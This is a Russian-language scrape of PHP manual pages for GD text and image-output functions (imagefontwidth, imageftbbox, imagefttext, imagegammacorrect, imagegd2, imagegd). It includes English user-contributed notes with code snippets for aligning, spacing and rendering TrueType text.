Пример #2 Использование imagefontwidth() вместе с imageloadfont()

<?php
// загрузка .gdf шрифта
$font = imageloadfont('anonymous.gdf');

echo 'Ширина шрифта: ' . imagefontwidth($font);
?>

Результатом выполнения данного примера будет что-то подобное:

Font width: 23

Смотрите также

  • imagefontheight() - Получение высоты шрифта
  • imageloadfont() - Загрузка шрифта

User Contributed Notes

Anonymous 27-Jul-2013 05:18
I've notice that with accented characters (so french !!)
like that:
strlen("cable" * imagefontwidth(FONTSIZE));
this command give a string length bigger than it is in reality
so you have to pass the chain in utf8 decode before

strlen(utf8_decode("cable") * imagefontwidth(FONTSIZE));

that's all (sorry for my english !)
puremango dot co dot uk at gmail dot com 31-Aug-2005 01:26
a function that is faster than ImageFontWidth for certain uses:

<?
function ImageFontWidthByFilename($filename)
{
    $handle = @fopen($font_locations[$i],"r");
    $c_wid = @fread($handle,11);
    @fclose($handle);
    return(ord($c_wid{8})+ord($c_wid{9})+ord($c_wid{10})+ord($c_wid{11}));
}

echo "./font.gdf is ".ImageFontWidthByFilename("./font.gdf")." pixels wide";

?>

reading the widths of 5 different fonts, 500 times, ImageFontWidth took an average of ~0.004 seconds per 5 reads, my function takes ~0.0003 per 5.

The reason is that ImageFontWidth requires a call to ImageLoadFont, but if for some reason you won't need to load the font, just find out the width, this is the function for you :-)

more such wonders at http://puremango.co.uk
dev at numist dot net 24-Jan-2005 03:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.


Определение границ текста выводимого шрифтом freetype2

  • « imagefontwidth
  • imagefttext »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Определение границ текста выводимого шрифтом freetype2

imageftbbox

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imageftbbox — Определение границ текста выводимого шрифтом freetype2

Описание

imageftbbox(
float $size,
float $angle,
string $font_filename,
string $string,
array $options = []
): array|false

Эта функция рассчитывает и возвращает рамку (границы) FreeType текста.

Замечание:

До PHP 8.0.0 imageftbbox() - это расширенный вариант imagettfbbox(), который дополнительно поддерживает extrainfo. Начиная с 8.0.0, imagettfbbox() является псевдонимом imageftbbox().

Список параметров

size

Размер шрифта в типографских пунктах.

angle

Угол в градусах в котором string должен быть измерен.

font_filename

Имя файла TrueType шрифта (может быть URL). В зависимости от версии GD библиотеки функция может попытаться найти файлы, не начинающиеся с '/' путём добавления '.ttf' в конец имени файла и поиска по адресу заданному в библиотеке.

string

Измеряемая строка.

options

Возможные ключи массива options
Ключ | Тип | Значение
linespacing | float | Определяет рисование подчёркиваний

Возвращаемые значения

imageftbbox() возвращает массив из 8 элементов, представляющих четыре точки в углах рамки обрамляющей текст:

0 | нижний левый угол, X координата
1 | нижний левый угол, Y координата
2 | нижний правый угол, X координата
3 | нижний правый угол, Y координата
4 | верхний правый угол, X координата
5 | верхний правый угол, Y координата
6 | верхний левый угол, X координата
7 | верхний левый угол, Y координата

Точки расположены относительно текста text и не зависят от угла angle, таким образом "верхний левый" означает верхняя левая точка текста, если расположить текст горизонтально.

В случае возникновения ошибки возвращает false.

Примеры

Пример #1 Пример использования imageftbbox()

<?php
// Создание изображения 300x150
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// установка белого фона
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// путь к файлу шрифта
$font = './arial.ttf';

// создаём рамку вокруг текста
$bbox = imageftbbox(10, 0, $font, 'Группа документирования PHP');

// наши координаты для X и Y
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 5;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

imagefttext($im, 10, 0, $x, $y, $black, $font, 'Группа документирования PHP');

// вывод в броузер
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Примечания

Замечание: Эта функция доступна только в случае, если PHP был скомпилирован с поддержкой freetype (--with-freetype-dir=DIR)

Смотрите также

  • imagefttext() - Нанесение текста на изображение, используя шрифты FreeType 2
  • imagettfbbox() - Получение параметров рамки обрамляющей текст написанный TrueType шрифтом

User Contributed Notes

pablocorezzola at gmail dot com 15-Jun-2017 03:23
//EXAMPLE - Center text

function newText($im, $size, $angle= 0, $x, $y, $color, $font, $text,$align = "left",$border=false,$width=0,$height=0){

    if($align == "center")
    {
        if ($border == true ){
           imagerectangle($im, $x, $y, $x +$width, $y + $height, $color);
        }
        $bbox = imageftbbox($size, 0, $font, $text);

        // Marcamos el ancho y alto
        $s_width  = $bbox[4];
        $s_height = $bbox[5];

        $y = $y + ($height-$s_height)/2;
        $x = $x + ($width-$s_width)/2;

    }

    imagettftext($im, $size, $angle, $x, $y, $color, $font, $text);
}
Johan 19-Nov-2007 07:38
For alignment i used this method:

if($align == "center" || $align == "right")
    {
        $verticaltxtspace = $backwidth - (2 * $posx);
        $spacepositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", " ");
        $spacepx = $spacepositions[4] - $spacepositions[0];

        // Split text in lines
        $lines = split("[\r][\n]", $text);
        for($count = 0; $count < count($lines); $count++)
        {
            $textpositions = imagettfbbox($size, $angle, "fonts/verdanaz.ttf", $lines[$count]);
            $textpx = $textpositions[2] - $textpositions[0];

            if($align == "right")
            {
                $spaces = ($verticaltxtspace - $textpx) / $spacepx;
            }
            else if($align == "center")
            {
                $spaces = (($verticaltxtspace - $textpx)/2) / $spacepx;
            }

            // Add spaces
            $line = $lines[$count];
            for($i = 0; $i < $spaces; $i++)
            {
                $line = " " . $line;
            }
            $lines[$count] = $line;
        }

        // Create new text of lines
        $text = "";
        for($count = 0; $count < count($lines); $count++)
        {
            $text .= $lines[$count] . "\r\n";
        }
    }

    //    Draw the shadow text on de shadow
    imagettftext($background, $size, $angle, $posx, $posy, $textcolor, "fonts/verdanaz.ttf",  $text);
theo v e -2 28-Dec-2005 07:10
ah... the problem between imageftbbox() and imagefttext() lies in the mirroring of the y-axes.
Below you see, for a font-size 16 the boudingboxes of "b", "p" and "bp":
< b: w=9 h=15
b(0,-1)
b(9,-1)
b(9,-16)
b(0,-16)
< p: w=9 h=16
p(0,4)
p(9,4)
p(9,-12)
p(0,-12)
< bp: w=20 h=20
bp(0,4)
bp(20,4)
bp(20,-16)
bp(0,-16)
If drawing "bp" using imagefttext() at y=0, the the top of "bp" indeed is at y=-16, and the bottom of "bp" at y=4. (Plus or minus a pixel here and there, because at y=0 there actually is a vissible pixel.)
fernando 14-Jul-2005 01:20
imagettfbbox() returns an array with 8 elements representing four points making the bounding box of the text:

0 lower left corner, X position
1 lower left corner, Y position
2 lower right corner, X position
3 lower right corner, Y position
4 upper right corner, X position
5 upper right corner, Y position
6 upper left corner, X position
7 upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.
groomed at users dot sf dot net 27-May-2004 12:38
ImageFTBBox returns a bounding box, not metrics, as some (most?) of the notes above seem to assume. The 8 values it returns specify the 4 corners of this bounding box. So to properly determine the width and height of a string you need to do:

$bbox = ImageFTBBox(...);
$width = abs($bbox[0]) + abs($bbox[2]); // distance from left to right
$height = abs($bbox[1]) + abs($bbox[5]); // distance from top to bottom
sectionthirty1 at yahoo dot com 22-Apr-2004 02:50
Here is a handy example I used to center "dynamic text" onto an image.

Ex. Say you want to center a clients IP Address onto a picture.

$ip=$_SERVER['REMOTE_ADDR'];

$details = imageftbbox($fontsize, 0, $font, $ip, array("linespacing" => 1));

$xcoord = ($imgwidth - $details[4]) / 2;  // this will return the x coordinate centered to your specific image.  Make sure  you set $imgwidth to the width of the image you are using.

imagettftext($image, $fontsize, 0, $xcoord, $ycoord, $fontcolor, $font, $ip);
ta at NOSPAM dot magicsquare dot info 06-Sep-2002 09:37
i've found a work around for this situation

it seems that height is directly proportional to line spacing so you just have to apply the same factor to image height

for example :

$spacing = 0.7;
$params = array("linespacing" => $spacing);

$box = imageftbbox ($size, 0, $font, $text, $params);
$tw=$box[4]-$box[0]; //image width
$th=($box[1]-$box[5])*$spacing; //image height
phpimageftbbox at juggernaut dot com dot au 14-May-2002 09:56
This function can be used to generate right-aligned text. Just work out how wide the text image is and position it accordingly. Example:

$i_width  = 200;
$i_height = 40;

$string = "Hello World!";
$pointsize = 10;
$fontfile = "/usr/local/lib/ttf/Helve.ttf";

$im = imagecreate($i_width, $i_height);
$black = imagecolorallocate ($im, 0, 0, 0);
$white = imagecolorallocate ($im, 255, 255, 255);

$string_size = ImageFtBbox($pointsize, 0, $fontfile, $string, array("linespacing" => 1));
$s_width  = $string_size[4];
$s_height = $string_size[5];

ImageFtText($im, $pointsize, 0, $i_width - $s_width - 1,  0 - $s_height, $white, $fontfile, $string, array("linespacing" => 1));

Header ("Content-type: image/png");
ImagePNG ($im);
ImageDestroy ($im);


Нанесение текста на изображение, используя шрифты FreeType 2

  • « imageftbbox
  • imagegammacorrect »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Нанесение текста на изображение, используя шрифты FreeType 2

imagefttext

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagefttext — Нанесение текста на изображение, используя шрифты FreeType 2

Описание

imagefttext(
GdImage $image,
float $size,
float $angle,
int $x,
int $y,
int $color,
string $font_filename,
string $text,
array $options = []
): array|false

Замечание:

До PHP 8.0.0 imagefttext() - это расширенный вариант imagettftext(), который дополнительно поддерживает extrainfo. Начиная с PHP 8.0.0, imagettftext() является псевдонимом imagefttext().

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

size

Размер шрифта в пунктах.

angle

Угол в градусах, 0 градусов означает расположение текста слева направо. Положительные значения означают поворот текста против часовой стрелки. Например, текст повёрнутый на 90 градусов нужно будет читать снизу вверх.

x

Координаты x и y определяют отправную точку для первого символа текста (конкретно, левый нижний угол символа). Здесь есть отличие от функции imagestring(), в которой x и y определяют верхний левый угол первого символа. Например, "верхний левый" имеет координаты 0,0.

y

y-координата. Это позиция базовой линии шрифта, в общем случае она не совпадает с низшей точкой в символе.

color

Индекс требуемого цвета текста, смотрите imagecolorexact().

font_filename

Путь к TrueType шрифту, который требуется использовать.

В зависимости от версии GD библиотеки если font_filename не начинается с /, то в конец названия файла будет добавлено расширение .ttf, и библиотека будет пытаться найти этот файл по адресу, определённому в настройках библиотеки.

В большинстве случаев размещение файлов шрифтов в директории скрипта решает подобные проблемы включения файлов.

<?php
// Задание переменной окружения для GD
putenv('GDFONTPATH=' . realpath('.'));

// Имя шрифта для использования (обратите внимание на отсутствие расширения .ttf)
$font = 'SomeFont';
?>

text

Текст для вставки в изображение.

options

Возможные значения массива options
Ключ | Тип | Значение
linespacing | float | Определяет рисование нижнего подчёркивания

Возвращаемые значения

Эта функция возвращает массив, определяющий четыре точки рамки текста. Текст внутри этих границ начинается с левого нижнего угла и поворачивается против часовой стрелки:

0 | нижняя левая x-координата
1 | нижняя левая y-координата
2 | нижняя правая x-координата
3 | нижняя правая y-координата
4 | верхняя правая x-координата
5 | верхняя правая y-координата
6 | верхняя левая x-координата
7 | верхняя левая y-координата

В случае возникновения ошибки возвращает false.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagefttext()

<?php
// Создание изображения 300x100
$im = imagecreatetruecolor(300, 100);
$red = imagecolorallocate($im, 0xFF, 0x00, 0x00);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// Сделаем красный фон
imagefilledrectangle($im, 0, 0, 299, 99, $red);

// Путь к ttf файлу шрифта
$font_file = './arial.ttf';

// Рисуем текст 'PHP Manual' шрифтом 13го размера
imagefttext($im, 13, 0, 105, 55, $black, $font_file, 'PHP Manual');

// Вывод изображения
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Примечания

Замечание: Эта функция доступна только в случае, если PHP был скомпилирован с поддержкой freetype (--with-freetype-dir=DIR)

Смотрите также

  • imageftbbox() - Определение границ текста выводимого шрифтом freetype2
  • imagettftext() - Рисование текста на изображении шрифтом TrueType

User Contributed Notes

php@davehirschD0TK0MM 07-Jun-2010 12:47
I'm not sure if this is a PHP issue or an GD issue, but after upgrading to PHP 5.3.2, text written at an angle has become top-justified (so "N" and "n" have the same top, but the bottom of the "N" is lower than the bottom of the "n".  I've written a kludgy work-around, which writes the text to a non-rotated temporary image, then copies the temporary image, rotated onto the main image.  The kludginess is to get around the fact that I can't seem to extract the font info, particularly the distance between the baseline and the very bottom (I've hard-coded it as 30% of the font size)
I hope the bug can be fixed (if it is indeed a bug) or that others can improve this code:

<?php
    // Function that draws rotated text by creating a temporary image and rotating it, since rotated text appears to be busted
    function imageTextRotated($image, $size, $angle, $x, $y, $inColor, $fontfile, $text, $info=array()) {
//        Force some demo text that contains risers and descenders:
//        $text = "Nlfbacejygq!";

        $bbox = imageftbbox($size, 0, $fontfile, $text, $info);
        $dropdown = $size*0.3;
        $xsize = abs($bbox[2] - $bbox[0]);
        $ysize = abs($bbox[5] - $bbox[3]);
        $tmpImage = imagecreatetruecolor($xsize*1.25, $ysize*1.25);        // need the extra space to accommodate risers and descenders
        $transparent = imagecolorallocate($tmpImage, 255, 255, 154);
        if (!$transparent) {
            error_log("Color allocate failed");
        }
        imagecolortransparent($tmpImage, $transparent);
        if (!imagefill($tmpImage, 0, $ysize, $transparent)) {
            error_log("Fill failed");
        }
        $rgb = imagecolorsforindex($image, $inColor);
        $color = imagecolorexact($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
        if ($color == -1) {
            $color = imagecolorallocate($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
            if (!$color) {
                error_log("Color allocate 2 failed");
            }
        }

        $newbbox = imagefttext($tmpImage, $size, 0, 0, $ysize*1.0, $color, $fontfile, $text, $info);
        $tmpImage = imagerotate($tmpImage, $angle, $transparent);
        $newWidth = imagesx($tmpImage);
        $newHt = imagesy($tmpImage);
        imagecopymerge($image, $tmpImage, $x-$newWidth+$dropdown, $y-$newHt, 0, 0, $newWidth, $newHt, 100);

//        Highlight the desired starting point (baseline) with a green dot:
//        $green = imagecolorallocate($image, 0, 251, 0);
//        imagefilledellipse($image, $x, $y, 10, 10, $green);
        imagedestroy($tmpImage);
?>

-Dave
KeepSake at crimebloc dot com 17-Sep-2009 09:05
For a design project I am required to have spacing between characters; since imagefttext does not support this feature I have created a function which does support this.

The arguments are identical to imagefttext, accept that (array)$extrainfo now accepts the 'character_spacing' spacing parameter. The return values are as expected, and include the image boundaries of the entire string including the character spacing.

The downside is that $angle rotates each letter instead of rotating the entire word (could be seen as a feature on its own).

I hope this is of some use to someone.
- KeepSake

<?php
// Required header (assuming we use png images)
header("Content-type: image/png");

// Create a basic image with a dark background.
$image = imagecreatetruecolor(300, 20);
imagefill($image, 0, 0, imagecolorallocate($image, 21, 21, 21));

// Function call, arguments are the same as imagefttext, expect that (array)$extrainfo takes a new paramenter called character_spacing.
$imageBox = imagefttext2($image, 9, 0, 2, 15, imagecolorallocate($image, 255, 255, 255), 'tahomabold.ttf', 'The quick brown fox...', array('character_spacing' => 5));

// Output the file, and clear the resources
imagepng($image);
imagedestroy($image);

function imagefttext2($imageResource, $font_size, $text_angle, $start_x, $start_y, $color, $font_file, $text, $extra_info = array()) {
    if($extra_info['character_spacing'] == NULL || !is_numeric($extra_info['character_spacing'])) {
        $extra_info['character_spacing'] = 0;
    }
    $lastX = $start_x - $extra_info['character_spacing'];
    foreach(str_split($text) as $v) {
        $coordinates = imagefttext($imageResource, $font_size, $text_angle, $lastX + $extra_info['character_spacing'], $start_y, $color, $font_file, $v, $extra_info);
        $lastX = max($coordinates[2], $coordinates[4]);
    }
    // Return the newly generated image box coordinates:
    return array($start_x, $start_y, $coordinates[2], $coordinates[3], $coordinates[4], $coordinates[5], $start_x, $coordinates[7]);
}

?>
d underscore brown x at hotmail dot 24-Nov-2007 10:26
realpath(".")
realpath(getenv("SCRIPT_FILENAME"));

could be different.  This helped when setting GDFONTPATH.
darren at badpun dot co dot uk 29-Mar-2007 01:58
I had trouble working out how to accurately represent fonts in point sizes when constructing charts that had a user-customisable output DPI (basically, the user could specify the size of the chart in mm - or any other physical measure - and the DPI to create arbitrarily-sized charts to work properly in real printed documents).

GD1 was OK as it used pixels for font rendering, but GD2 uses points, which only makes any sense if you know the DPI that it assumes when rendering text on the image surface. I have not been able to find this anywhere in this documentation but have examined the GD2 source code and it appears to assume a DPI of 96 internally. However, this can easily be customised in the GD2 source so it cannot be assumed that all PHP interpreters out there have a GD2 compiled using 96dpi internally.

If it does, and you are using it to construct images whose target DPI is not 96, you can calculate the point size to supply to imageftbox() and imagefttext() like this:

<?php
/* 100mm x 100mm image */
$imageWidth = 100;
$imageHeight = 100;

/* 300 dpi image, therefore image is 1181 x 1181 pixels */
$imageDPI = 300;

/* unless we do this, text will be about 3 times too small */
$realFontSize = ($fontPt * $targetDPI) / 96;
?>
cory at lavacube dot com 09-Nov-2006 01:53
Since this function is not documented, I felt it was best that I shed some light on the extrainfo parameter.

You can see the full documentation at the GD reference manual:
http://www.boutell.com/gd/manual2.0.33.html#gdImageStringFTEx

Basically it accepts an array containing the following options as keys and an associated value:
(int) flags [more info in the GD reference manual]
(double/float) linespacing
(int) charmap
(int) hdpi
(int) vdpi
(string) xshow
(string) fontpath

My C/C++ is not very good but this is the best I can explain. Read the documentation for more information. :-)

A very simple example of usage would be:

<?php

imagefttext( $img_pointer, 12, 0, 10, 10, [-insertsomecolour-], '/path/to/font.ttf', "THIS IS A TEST\nTHIS IS LINE 2\nTHIS IS LINE3", array('lineheight'=>2.0) );

?>
20-Feb-2006 02:19
I am using php 5.1.2 on a winxp machine. I was  getting into the TrueType fonts and wanted to see which ones would look best incorporated into web images. So I created the following script that prints out samples of all the TrueType fonts found in my C:\Windows\Fonts directory. The script takes only one request parameter - 'fsize'. It stands for font-size and lets you see each font in any size you wish -- I limited it to values between 5 and 48. Hope this helps someone other than me :)

I apologize in advance if any of my code is not the prettiest-written php code even seen -- I have only been coding in php for the past week (I'm a perl-guy usually).

<?php
    list($x, $y, $maxwidth) = array(0, 0, 0);

    $fsize = (int)$_REQUEST['fsize'];
    if ($fsize < 5 or $fsize > 48) $fsize = 8;

    header("Content-type: image/jpeg");

    // don't know how wide or tall the font samples will be.
    // create a huge image for now, we'll copy it smaller
    // later when we know how large the image needs to be.
    $im = imagecreate(1000, 20000) or die('could not create!');
    $clr_white = imagecolorallocate($im, 255, 255, 255);
    $clr_black = imagecolorallocate($im, 0, 0, 0);

    $font_path = "C:/Windows/Fonts/";
    $dh = opendir($font_path);
    while (($file = readdir($dh)) !== FALSE) {
        // we're only dealing with TTY fonts here.
        if (substr(strtolower($file), -4) != '.ttf') continue;

        $str = "Sample text for '$file'";
        $bbox = imagettfbbox(
            $fsize, 0, "{$font_path}{$file}", $str
        );
        $ww = $bbox[4] - $bbox[6];
        $hh = $bbox[1] - $bbox[7];

        imagettftext(
            $im, $fsize, 0, $x, $y,
            $clr_black, "{$font_path}{$file}", $str
        );

        $y += $hh + 20;
        if ($ww > $maxwidth) $maxwidth = $ww;
    }

    closedir($dh);

    // ok, now we can chop off the extra space from the
    // 1000 x 20000 image.
    $im2 = imagecreate($maxwidth + 20, $y);
    imagecopyresized(
        $im2, $im, 0, 0, 0, 0, $maxwidth + 20,
        $y, $maxwidth + 20, $y
    );
    imagejpeg($im2);
    imagedestroy($im);
    imagedestroy($im2);
?>
vsazel at atlas dot cz 23-Nov-2005 09:16
If you want to get the best result in monochrome font rendering, change render_mode to FT_LOAD_RENDER. It's the last parameter of FT_Load_Glyph() function (in gdft.c).
dnf at seznam dot cz 23-Jun-2005 02:25
For negative image you must add one line after the $grayColor computation:

$grayColor =  ~ $grayColor & 0x7FFFFFF;
aidan at php dot net 29-May-2005 03:11
This function is very simular to imageffttext(), you may find the information provided on its manual page helpful:

http://php.net/imagettftext
MagicalTux at FF dot st 27-Jan-2005 02:20
When compiling PHP with FreeType 2 support, you'll probably have some problems if - for example - you use debian and didn't compile freetype2 yourself...
If configure fails after saying "If configure fails, try --with-xpm-dir..." you most likely have FreeType1 installed, but not freetype2 ...

Do this as root :
apt-get install libfreetype6-dev

It took me some time to find out that apt-get install freetype2 is actually installing freetype1 ...
kagaku at gmail dot com 07-Dec-2004 08:27
I found myself in need of an align right function and found one on the imagepstext manual page. I can't imagine I'm the only person who's needed to use this, so here's a slightly modified version that works with imagefttext:

<?
  function align_right($string, $fontfile, $imgwidth, $fontsize){
    $spacing = 0;
    $line = array("linespacing" => $spacing);
    list($lx,$ly,$rx,$ry) = imageftbbox($fontsize,0,$fontfile,$string,$line);
    $textwidth = $rx - $lx;
    $imw = ($imgwidth-10-$textwidth);
    return $imw;
  }
?>
eshenk at comcast dot net 24-Jan-2004 02:05
I wrote a bit of code to gather all the .ttf files in the directory with this script, and randomize them to write text on a header image for my site. The only catch is the font files have to be named 1.ttf, 2.ttf etc etc.

<?php

srand((double)microtime()*1234567); // Start the random gizmo
$image = imagecreatefromjpeg(rand(1,exec('ls *.jpg | wc -l')) . ".jpg"); // Get a background
$font = rand(1,exec('ls *.ttf | wc -l')) . ".ttf"; // Get a font
$textcolor = imagecolorallocate($image,0,0,0); // Set text color

$text1 = "shenko.homedns.org"; // Here is our text

imagettftext($image, 50, 0, 20, 50, $textcolor, $font, $text1); // Write the text with a font

header("Content-type: image/jpeg"); // Its a JPEG
imagejpeg($image,'',90); // Zap it to the browser
imagedestroy($image); // Memory Freeupage

?>
sebastiand at gmx dot de 17-Sep-2003 02:07
After spending the evening with some work on automatically generated images, I had the idea to switch of anti-aliasing (looking, if some font would look better that way), which turned out not to be quite so easy.

Actually you have to use the negative of the desired color to switch of antialising. I include the corresponding line from my code (line split up):

// USE NEGATIVE OF DESIRED COLOR TO SWITCH OF ANTI-ALIASING
ImageFTText ($neuesBild,$fontsize,$fontangle,$TextPosX,$TextPosY,
-$custom_fg,$fonttype,$text,array());
jwilliam at kcr dot uky dot edu 21-Nov-2002 12:22
Thanks for the script!  I modified it to show several fonts that I was wanting to use.  I am using GD-2.0.7, FreeType-2.1.3(text rotation fix,among others), and PHP-4.2.3 and had to include the array information to get it to work.

Code change follows:
$fontfile="/usr/local/fonts/ttf/bookantbd.ttf";
// Waterfall of point sizes to see what Freetype 2's autohinting looks like:
//
for($i=4;$i<=12;$i++){
  ImageFtText($image,$i,0,10,(280+$i*14),$forecolor,$fontfile, bookantbd . $i . ". " . $string, array("linespacing" => 1.0));
}

John
ben at tNOSPAManjNOSPAMo dot cnospamordots dot om 08-Aug-2002 12:59
If you're interested in turning off FreeType hinting, search for the following line in the gd source (gdft.c):
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_DEFAULT);
and replace it with
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_NO_HINTING);

Recompile GD, and vo?la: beauteous antialiasing.


Применение гамма коррекции к GD изображению

  • « imagefttext
  • imagegd2 »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Применение гамма коррекции к GD изображению

imagegammacorrect

(PHP 4, PHP 5, PHP 7, PHP 8)

imagegammacorrect — Применение гамма коррекции к GD изображению

Описание

imagegammacorrect(GdImage $image, float $input_gamma, float $output_gamma): bool

Применяет гамма коррекцию к изображению image согласно заданным входным и выходным настройкам.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

input_gamma

Входная настройка гаммы.

output_gamma

Выходная настройка гаммы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagegammacorrect()

<?php
// Создание изображения
$im = imagecreatefromgif('php.gif');

// Корректировка гаммы, на выходе 1.537
imagegammacorrect($im, 1.0, 1.537);

// Сохранение изображения и освобождение памяти
imagegif($im, './php_gamma_corrected.gif');
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


Вывод GD2 изображения в браузер или файл

  • « imagegammacorrect
  • imagegd »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Вывод GD2 изображения в браузер или файл

imagegd2

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagegd2 — Вывод GD2 изображения в браузер или файл

Описание

imagegd2(
GdImage $image,
?string $file = null,
int $chunk_size = 128,
int $mode = IMG_GD2_RAW
): bool

Выводит GD2 изображение в заданный файл file.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

chunk_size

Размер части изображения.

mode

Либо IMG_GD2_RAW, либо IMG_GD2_COMPRESSED. По умолчанию IMG_GD2_RAW.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
8.0.3 | file теперь допускает значение null.
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Вывод GD2 изображения

<?php
// Создание пустого изображения и добавление на него текста
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "Простая Текстовая Строка", $text_color);

// Вывод изображения
imagegd2($im);

// Освобождение памяти
imagedestroy($im);
?>

Пример #2 Сохранение GD2 изображения

<?php
// Создание пустого изображения и добавление на него текста
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "Простая Текстовая Строка", $text_color);

// Сохранение изображения
// Формат файлов GD2 - .gd2, смотрите http://www.libgd.org/GdFileFormats
imagegd2($im, 'simple.gd2');

// Освобождение памяти
imagedestroy($im);
?>

Примечания

Замечание:

Формат GD2 используется в основном для быстрой загрузки частей изображений. Следует учитывать, что GD2 формат может использоваться только в GD2-совместимых приложениях.

Внимание

Форматы изображений GD и GD2 являются проприетарными форматами изображений libgd. Они должны рассматриваться как устаревшие и должны использоваться только для целей разработки и тестирования.

Смотрите также

  • imagegd() - Вывод GD-изображения в браузер или в файл

User Contributed Notes

Nick 13-Jun-2011 12:49
You can use this function in combination with imagecreatefromstring() to clone the gd resource with minimum fuss (no writing to tmp file):

<?php
function cloneGd($gd)
{
    ob_start();
    imagegd2($gd);
    return imagecreatefromstring(ob_get_clean());
}
?>
mark at teckis dot com 16-Apr-2003 06:33
yes, the gd2 file format does improve the speed of image creations as the data-setup is designed to be native for the GD function - ie, the image doesn't have to be converted to a usable format prior to processing.

you may also note that the newer gd2 format creates much smaller size files than the older imagegd function, certainly for images involving chunks of single colours anyway. you'll probably find this function most useful for saving overlay images or background images used in larger image creation scripts.

to read a ping or jpeg image (.png / .jpg) and save a .gd2 version to server...

$img = $_GET['img'];
if(file_exists($img))
    {
    $dim = getimagesize($img);
    $cr = ($dim[2] < 4) ? ($dim[2] < 3) ? ($dim[2] < 2) ? NULL : imagecreatefromjpeg($img) : imagecreatefrompng($img) : Null;
    if($cr !== NULL)
          {
         imagegd2($cr,substr($img,0,strrpos($img,'.')).'.gd2');
          }
    }

should save a copy with the same filename and directory using extension .gd2 - which can then be nicely and swiftly read using either imagecreatefromgd2 or imagecreatefromgd2part


Вывод GD-изображения в браузер или в файл

  • « imagegd2
  • imagegetclip »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Вывод GD-изображения в браузер или в файл

imagegd

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagegd — Вывод GD-изображения в браузер или в файл

Описание

imagegd(GdImage $image, ?string $file = null): bool

Вывод GD-изображения в file.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
